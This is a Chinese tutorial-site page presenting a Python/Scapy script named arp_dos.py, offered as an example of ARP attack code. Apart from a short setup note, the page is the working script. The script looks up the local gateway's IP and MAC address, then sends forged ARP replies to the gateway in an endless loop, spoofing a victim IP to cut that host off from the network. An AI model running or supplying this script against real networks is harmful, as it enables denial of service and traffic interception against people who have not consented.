手机
当前位置:查字典教程网 >脚本专栏 >python >python写的ARP攻击代码实例
python写的ARP攻击代码实例
摘要:注:使用这个脚本需要安装scapy包最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题复制代码代码如下:#c...

注:使用这个脚本需要安装scapy 包

最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

复制代码 代码如下:

#coding:utf-8

#example :sudo python arp_dos.py 192.168.1.103

from scapy.all import ARP,send

import os,re,sys

def get_gateway_ip():

t=os.popen('route -n')

for i in t:

if i.startswith('0.0.0.0'):

r=re.split("s+",i)

return r[1]

def get_gateway_hw(ip):

t=os.popen('arp -e %s' % ip)

for i in t:

if i.startswith(ip):

r=re.split("s+",i)

return r[2]

def hack(hackip):

ip=get_gateway_ip()

hw=get_gateway_hw(ip)

arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)

#os.popen('ifconfig eth0 %s' % hackip )

while 1:

send(arp)

def help():

print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():

if len(sys.argv) != 2:

help()

else:

hack(sys.argv[1])

if __name__=="__main__":

main()

【python写的ARP攻击代码实例】相关文章:

python 实现堆排序算法代码

使用python实现baidu hi自动登录的代码

python实现的二叉树算法和kmp算法实例

python快速排序代码实例

python读写文件操作示例程序

python 随机数生成的代码的详细分析

Python设计模式之代理模式实例

Python translator使用实例

python连接池实现示例程序

python类型强制转换long to int的代码

精品推荐
分类导航